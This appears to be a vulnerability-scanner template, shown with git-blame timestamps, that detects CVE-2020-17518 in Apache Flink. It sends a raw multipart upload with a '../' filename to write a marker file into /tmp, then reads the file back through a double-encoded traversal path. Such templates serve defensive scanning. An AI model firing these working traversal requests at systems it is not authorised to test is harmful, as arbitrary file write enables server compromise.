2021-01-06 17:38:45 +00:00
|
|
|
id: CVE-2020-17518
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Apache Flink Upload Path Traversal
|
2021-04-06 06:46:11 +00:00
|
|
|
author: pdteam
|
2021-01-06 17:38:45 +00:00
|
|
|
severity: critical
|
|
|
|
|
reference: https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
|
2021-03-11 14:25:31 +00:00
|
|
|
description: |
|
2021-03-11 20:16:35 +00:00
|
|
|
Apache Flink 1.5.1 introduced a REST handler that allows you to write an uploaded file to an arbitrary location on the local file system,
|
2021-03-11 14:25:31 +00:00
|
|
|
through a maliciously modified HTTP HEADER.
|
2021-03-18 07:54:36 +00:00
|
|
|
tags: cve,cve2020,apache,lfi
|
2021-01-06 17:38:45 +00:00
|
|
|
|
|
|
|
|
requests:
|
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
POST /jars/upload HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
Accept: */*
|
|
|
|
|
Accept-Language: en
|
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
|
|
|
|
|
Content-Length: 187
|
2021-01-07 18:49:39 +00:00
|
|
|
|
2021-01-06 17:38:45 +00:00
|
|
|
------WebKitFormBoundaryoZ8meKnrrso89R6Y
|
|
|
|
|
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
|
2021-01-07 18:49:39 +00:00
|
|
|
|
2021-01-06 17:38:45 +00:00
|
|
|
test-poc
|
|
|
|
|
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
|
|
|
|
|
|
|
|
|
|
- method: GET
|
|
|
|
|
path:
|
|
|
|
|
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
|
|
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
2021-03-24 23:28:50 +00:00
|
|
|
- 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this.
|
